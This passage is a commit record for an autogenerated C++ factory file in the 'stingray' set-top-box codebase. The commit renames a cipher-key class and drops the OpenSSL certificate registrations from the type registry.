EGISTER_CLASS_EXPLICIT(mpeg::Stream);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(AgeRating);\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::EmuServiceId);\n#endif\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::RadioChannel);\n#endif\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::StreamDescriptor);\n#endif\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::TVChannel);\n#endif\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(FileSystemRecord);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBServiceId);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultDVBTBandInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultMpegChannel);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultMpegRadioChannel);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultMpegService);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultMpegTVChannel);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultMpegStreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegAudioStreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegPcrStreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegSubtitlesStreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegTeletextBasedSubtitlesStreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegTeletextStreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegVideoStreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultScanParams);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultScanResult);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(GenreChannelList);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(LcnList);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(OtherTransportInfoEntry);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(RecordStreamMetaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Antenna);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultDVBSTransport);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Satellite);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultDVBTTransport);\n#endif\n\t}\n}}\n<|endoftext|>"} {"text":"<commit_before>#include <stingray\/toolkit\/Factory.h>\n\n#include <stingray\/toolkit\/any.h>\n\n#include <stingray\/app\/RecordErrors.h>\n#include <stingray\/app\/activation_manager\/ActivationIntent.h>\n#include <stingray\/app\/application_context\/AppChannel.h>\n#include <stingray\/app\/application_context\/ChannelList.h>\n#include <stingray\/app\/scheduler\/ScheduledEvents.h>\n#include <stingray\/ca\/BasicSubscriptionLease.h>\n#include <stingray\/ca\/BissConditionalAccess.h>\n#include <stingray\/ca\/DreSubscription.h>\n#include <stingray\/ca\/SubscriptionBundle.h>\n#include <stingray\/crypto\/PlainCipherKey.h>\n#include <stingray\/details\/IReceiverTrait.h>\n#include <stingray\/hdmi\/IHDMI.h>\n#include <stingray\/media\/ImageFileMediaData.h>\n#include <stingray\/media\/MediaInfoBase.h>\n#include <stingray\/media\/formats\/flv\/MediaInfo.h>\n#include <stingray\/media\/formats\/mp3\/Mp3MediaInfo.h>\n#include <stingray\/media\/formats\/mp4\/MediaInfo.h>\n#include <stingray\/media\/formats\/mp4\/Stream.h>\n#include <stingray\/media\/formats\/mp4\/SubstreamDescriptors.h>\n#include <stingray\/mpeg\/ContentDescription.h>\n#include <stingray\/mpeg\/PvrDescription.h>\n#include <stingray\/mpeg\/Stream.h>\n#include <stingray\/net\/DHCPInterfaceConfiguration.h>\n#include <stingray\/net\/IgnoredInterfaceConfiguration.h>\n#include <stingray\/net\/LinkLocalInterfaceConfiguration.h>\n#include <stingray\/net\/ManualInterfaceConfiguration.h>\n#include <stingray\/net\/NetworkConfiguration.h>\n#include <stingray\/parentalcontrol\/AgeRating.h>\n#ifdef PLATFORM_EMU\n#\tinclude <stingray\/platform\/emu\/scanner\/Channel.h>\n#endif\n#ifdef PLATFORM_EMU\n#\tinclude <stingray\/platform\/emu\/scanner\/EmuScanPerformerFactory.h>\n#endif\n#ifdef PLATFORM_MSTAR\n#\tinclude <stingray\/platform\/mstar\/crypto\/HardwareCipherKey.h>\n#endif\n#ifdef PLATFORM_OPENSSL\n#\tinclude <stingray\/platform\/openssl\/crypto\/Certificate.h>\n#endif\n#ifdef PLATFORM_OPENSSL\n#\tinclude <stingray\/platform\/openssl\/crypto\/CertificateRevocationList.h>\n#endif\n#ifdef PLATFORM_OPENSSL\n#\tinclude <stingray\/platform\/openssl\/crypto\/EvpKey.h>\n#endif\n#ifdef PLATFORM_STAPI\n#\tinclude <stingray\/platform\/stapi\/crypto\/HardwareCipherKey.h>\n#endif\n#include <stingray\/pushvod\/pushvod_emu\/PushVODEmulationMovie.h>\n#include <stingray\/records\/FileSystemRecord.h>\n#include <stingray\/rpc\/UrlObjectId.h>\n#include <stingray\/scanner\/DVBBandInfo.h>\n#include <stingray\/scanner\/DVBServiceId.h>\n#include <stingray\/scanner\/DefaultMpegService.h>\n#include <stingray\/scanner\/DefaultMpegSubstreamDescriptor.h>\n#include <stingray\/scanner\/DefaultScanParams.h>\n#include <stingray\/scanner\/DefaultScanPerformerFactory.h>\n#include <stingray\/scanner\/DreCasGeographicRegion.h>\n#include <stingray\/scanner\/LybidScanParams.h>\n#include <stingray\/scanner\/LybidScanPerformerFactory.h>\n#include <stingray\/scanner\/StreamableServiceMetaInfo.h>\n#include <stingray\/scanner\/TerrestrialScanParams.h>\n#include <stingray\/scanner\/TricolorGeographicRegion.h>\n#include <stingray\/scanner\/TricolorScanParams.h>\n#include <stingray\/scanner\/TricolorScanPerformerFactory.h>\n#include <stingray\/scanner\/lybid\/LybidServiceMetaInfo.h>\n#include <stingray\/scanner\/terrestrial\/TerrestrialServiceMetaInfo.h>\n#include <stingray\/scanner\/tricolor\/AutoCreatedListMetaInfo.h>\n#include <stingray\/scanner\/tricolor\/TricolorServiceMetaInfo.h>\n#include <stingray\/stats\/StatisticChannelInfo.h>\n#include <stingray\/streams\/PlaybackStreamContent.h>\n#include <stingray\/streams\/RecordStreamContent.h>\n#include <stingray\/streams\/RecordStreamMetaInfo.h>\n#include <stingray\/time\/BuiltinTimeSourceId.h>\n#include <stingray\/time\/TDTTimeSourceId.h>\n#include <stingray\/time\/TransportsTimeSourceObtainer.h>\n#include <stingray\/tuners\/TunerState.h>\n#include <stingray\/tuners\/dvbc\/DVBCTransport.h>\n#include <stingray\/tuners\/dvbs\/Antenna.h>\n#include <stingray\/tuners\/dvbs\/DefaultDVBSTransport.h>\n#include <stingray\/tuners\/dvbs\/Satellite.h>\n#include <stingray\/tuners\/dvbt\/DVBTTransport.h>\n#include <stingray\/tuners\/ip\/TsOverIpTransport.h>\n#include <stingray\/update\/VersionRequirement.h>\n#include <stingray\/update\/system\/CopyFile.h>\n#include <stingray\/update\/system\/EraseFlashPartition.h>\n#include <stingray\/update\/system\/MountFilesystem.h>\n#include <stingray\/update\/system\/MoveFile.h>\n#include <stingray\/update\/system\/RemoveFile.h>\n#include <stingray\/update\/system\/UnmountFilesystem.h>\n#include <stingray\/update\/system\/WriteFlashPartition.h>\n\n\/* WARNING! This is autogenerated file, DO NOT EDIT! *\/\n\nnamespace stingray { namespace Detail\n{\n\tvoid Factory::RegisterTypes()\n\t{\n#ifdef BUILD_SHARED_LIB\n\t\t\/*nothing*\/\n#else\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::NoSubscriptionRecordError);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::SimpleRecordError);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ActivationKeyIntent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::PersonalCodeIntent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::PlatformNameIntent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ReceiverTraitIntent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::AppChannel);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ChannelList);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::CinemaHallScheduledViewing);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ContinuousScheduledEvent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::DeferredStandby);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::InfiniteScheduledEvent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ScheduledEvent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ScheduledRecord);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ScheduledViewing);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(BasicSubscriptionLease);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(BasicSubscriptionProvider);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(BissSubscription);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Dre4Provider);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Dre4Subscription);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(SubscriptionBundle);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(PlainCipherKey);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBCReceiverTrait);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBSReceiverTrait);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBTReceiverTrait);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(HouseholdClientTrait);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(HouseholdServerTrait);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(LybidOperatorTrait);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(SatIpClientTrait);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TricolorOperatorTrait);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(HDMIConfig);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(ImageFileMediaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(ImageFileMediaPreview);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(InMemoryImageMediaPreview);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MediaInfoBase);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(flv::MediaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Mp3MediaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mp4::MediaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mp4::Stream);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mp4::Mp4MediaAudioSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mp4::Mp4MediaVideoSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mpeg::ContentDescription);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mpeg::PvrDescription);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mpeg::Stream);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DHCPInterfaceConfiguration);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(IgnoredInterfaceConfiguration);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(LinkLocalInterfaceConfiguration);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(ManualInterfaceConfiguration);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Detail::any::ObjectHolder<NetworkConfigurationStatus>);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(AgeRating);\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::EmuServiceId);\n#endif\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::RadioChannel);\n#endif\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::SubstreamDescriptor);\n#endif\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::TVChannel);\n#endif\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::EmuScanPerformerFactory);\n#endif\n#ifdef PLATFORM_MSTAR\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mstar::HardwareCipherKey);\n#endif\n#ifdef PLATFORM_OPENSSL\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(openssl::Certificate);\n#endif\n#ifdef PLATFORM_OPENSSL\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(openssl::CertificateRevocationList);\n#endif\n#ifdef PLATFORM_OPENSSL\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(openssl::EvpKey);\n#endif\n#ifdef PLATFORM_STAPI\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(stapi::HardwareCipherKey);\n#endif\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(PushVODEmulationMovie);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(FileSystemRecord);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(rpc::UrlObjectId);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBCBandInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBTBandInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBServiceId);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultMpegRadioChannel);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultMpegService);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultMpegTVChannel);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegAudioSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegDataCarouselSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegPcrSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegSubtitlesSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegTeletextBasedSubtitlesSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegTeletextSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MpegVideoSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultScanParams);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultScanPerformerFactory);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DreCasGeographicRegion);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(LybidScanParams);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(LybidScanPerformerFactory);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(StreamableServiceMetaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TerrestrialScanParams);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TricolorGeographicRegion);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TricolorScanParams);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TricolorScanPerformerFactory);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(LybidServiceMetaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TerrestrialServiceMetaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(AutoCreatedListMetaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TricolorServiceMetaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Detail::any::ObjectHolder<stingray::StatisticChannelInfo>);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(PlaybackStreamContent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(RecordStreamContent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(RecordStreamMetaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(BuiltinTimeSourceId);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TDTTimeSourceId);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TransportTimeOffset);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(CircuitedTunerState);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(LockedTunerState);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(UnlockedTunerState);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBCTransport);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Antenna);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DefaultDVBSTransport);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Satellite);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBTTransport);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TsOverIpTransport);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(VersionRequirement);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(CopyFile);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(EraseFlashPartition);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MountFilesystem);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MoveFile);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(RemoveFile);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(UnmountFilesystem);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(WriteFlashPartition);\n#endif\n\t}\n}}\n<commit_msg>update factory classes<commit_after>#include <stingray\/toolkit\/Factory.h>\n\n#include <stingray\/toolkit\/any.h>\n\n#include <stingray\/app\/RecordErrors.h>\n#include <stingray\/app\/activation_manager\/ActivationIntent.h>\n#include <stingray\/app\/application_context\/AppChannel.h>\n#include <stingray\/app\/application_context\/ChannelList.h>\n#include <stingray\/app\/scheduler\/ScheduledEvents.h>\n#include <stingray\/ca\/BasicSubscriptionLease.h>\n#include <stingray\/ca\/BissConditionalAccess.h>\n#include <stingray\/ca\/DreSubscription.h>\n#include <stingray\/ca\/SubscriptionBundle.h>\n#include <stingray\/crypto\/SoftwareCipherKey.h>\n#include <stingray\/details\/IReceiverTrait.h>\n#include <stingray\/hdmi\/IHDMI.h>\n#include <stingray\/media\/ImageFileMediaData.h>\n#include <stingray\/media\/MediaInfoBase.h>\n#include <stingray\/media\/formats\/flv\/MediaInfo.h>\n#include <stingray\/media\/formats\/mp3\/Mp3MediaInfo.h>\n#include <stingray\/media\/formats\/mp4\/MediaInfo.h>\n#include <stingray\/media\/formats\/mp4\/Stream.h>\n#include <stingray\/media\/formats\/mp4\/SubstreamDescriptors.h>\n#include <stingray\/mpeg\/ContentDescription.h>\n#include <stingray\/mpeg\/PvrDescription.h>\n#include <stingray\/mpeg\/Stream.h>\n#include <stingray\/net\/DHCPInterfaceConfiguration.h>\n#include <stingray\/net\/IgnoredInterfaceConfiguration.h>\n#include <stingray\/net\/LinkLocalInterfaceConfiguration.h>\n#include <stingray\/net\/ManualInterfaceConfiguration.h>\n#include <stingray\/net\/NetworkConfiguration.h>\n#include <stingray\/parentalcontrol\/AgeRating.h>\n#ifdef PLATFORM_EMU\n#\tinclude <stingray\/platform\/emu\/scanner\/Channel.h>\n#endif\n#ifdef PLATFORM_EMU\n#\tinclude <stingray\/platform\/emu\/scanner\/EmuScanPerformerFactory.h>\n#endif\n#ifdef PLATFORM_MSTAR\n#\tinclude <stingray\/platform\/mstar\/crypto\/HardwareCipherKey.h>\n#endif\n#ifdef PLATFORM_STAPI\n#\tinclude <stingray\/platform\/stapi\/crypto\/HardwareCipherKey.h>\n#endif\n#include <stingray\/pushvod\/pushvod_emu\/PushVODEmulationMovie.h>\n#include <stingray\/records\/FileSystemRecord.h>\n#include <stingray\/rpc\/UrlObjectId.h>\n#include <stingray\/scanner\/DVBBandInfo.h>\n#include <stingray\/scanner\/DVBServiceId.h>\n#include <stingray\/scanner\/DefaultMpegService.h>\n#include <stingray\/scanner\/DefaultMpegSubstreamDescriptor.h>\n#include <stingray\/scanner\/DefaultScanParams.h>\n#include <stingray\/scanner\/DefaultScanPerformerFactory.h>\n#include <stingray\/scanner\/DreCasGeographicRegion.h>\n#include <stingray\/scanner\/LybidScanParams.h>\n#include <stingray\/scanner\/LybidScanPerformerFactory.h>\n#include <stingray\/scanner\/StreamableServiceMetaInfo.h>\n#include <stingray\/scanner\/TerrestrialScanParams.h>\n#include <stingray\/scanner\/TricolorGeographicRegion.h>\n#include <stingray\/scanner\/TricolorScanParams.h>\n#include <stingray\/scanner\/TricolorScanPerformerFactory.h>\n#include <stingray\/scanner\/lybid\/LybidServiceMetaInfo.h>\n#include <stingray\/scanner\/terrestrial\/TerrestrialServiceMetaInfo.h>\n#include <stingray\/scanner\/tricolor\/AutoCreatedListMetaInfo.h>\n#include <stingray\/scanner\/tricolor\/TricolorServiceMetaInfo.h>\n#include <stingray\/stats\/StatisticChannelInfo.h>\n#include <stingray\/streams\/PlaybackStreamContent.h>\n#include <stingray\/streams\/RecordStreamContent.h>\n#include <stingray\/streams\/RecordStreamMetaInfo.h>\n#include <stingray\/time\/BuiltinTimeSourceId.h>\n#include <stingray\/time\/TDTTimeSourceId.h>\n#include <stingray\/time\/TransportsTimeSourceObtainer.h>\n#include <stingray\/tuners\/TunerState.h>\n#include <stingray\/tuners\/dvbc\/DVBCTransport.h>\n#include <stingray\/tuners\/dvbs\/Antenna.h>\n#include <stingray\/tuners\/dvbs\/DefaultDVBSTransport.h>\n#include <stingray\/tuners\/dvbs\/Satellite.h>\n#include <stingray\/tuners\/dvbt\/DVBTTransport.h>\n#include <stingray\/tuners\/ip\/TsOverIpTransport.h>\n#include <stingray\/update\/VersionRequirement.h>\n#include <stingray\/update\/system\/CopyFile.h>\n#include <stingray\/update\/system\/EraseFlashPartition.h>\n#include <stingray\/update\/system\/MountFilesystem.h>\n#include <stingray\/update\/system\/MoveFile.h>\n#include <stingray\/update\/system\/RemoveFile.h>\n#include <stingray\/update\/system\/UnmountFilesystem.h>\n#include <stingray\/update\/system\/WriteFlashPartition.h>\n\n\/* WARNING! This is autogenerated file, DO NOT EDIT! *\/\n\nnamespace stingray { namespace Detail\n{\n\tvoid Factory::RegisterTypes()\n\t{\n#ifdef BUILD_SHARED_LIB\n\t\t\/*nothing*\/\n#else\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::NoSubscriptionRecordError);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::SimpleRecordError);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ActivationKeyIntent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::PersonalCodeIntent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::PlatformNameIntent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ReceiverTraitIntent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::AppChannel);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ChannelList);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::CinemaHallScheduledViewing);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ContinuousScheduledEvent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::DeferredStandby);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::InfiniteScheduledEvent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ScheduledEvent);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ScheduledRecord);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(app::ScheduledViewing);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(BasicSubscriptionLease);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(BasicSubscriptionProvider);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(BissSubscription);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Dre4Provider);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Dre4Subscription);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(SubscriptionBundle);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(SoftwareCipherKey);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBCReceiverTrait);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBSReceiverTrait);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DVBTReceiverTrait);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(HouseholdClientTrait);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(HouseholdServerTrait);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(LybidOperatorTrait);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(SatIpClientTrait);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(TricolorOperatorTrait);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(HDMIConfig);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(ImageFileMediaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(ImageFileMediaPreview);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(InMemoryImageMediaPreview);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(MediaInfoBase);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(flv::MediaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Mp3MediaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mp4::MediaInfo);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mp4::Stream);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mp4::Mp4MediaAudioSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mp4::Mp4MediaVideoSubstreamDescriptor);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mpeg::ContentDescription);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mpeg::PvrDescription);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mpeg::Stream);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(DHCPInterfaceConfiguration);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(IgnoredInterfaceConfiguration);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(LinkLocalInterfaceConfiguration);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(ManualInterfaceConfiguration);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(Detail::any::ObjectHolder<NetworkConfigurationStatus>);\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(AgeRating);\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::EmuServiceId);\n#endif\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::RadioChannel);\n#endif\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::SubstreamDescriptor);\n#endif\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::TVChannel);\n#endif\n#ifdef PLATFORM_EMU\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(emu::EmuScanPerformerFactory);\n#endif\n#ifdef PLATFORM_MSTAR\n\t\tTOOLKIT_REGISTER_CLASS_EXPLICIT(mstar::HardwareCipherKey);\n#endif\n#ifdef 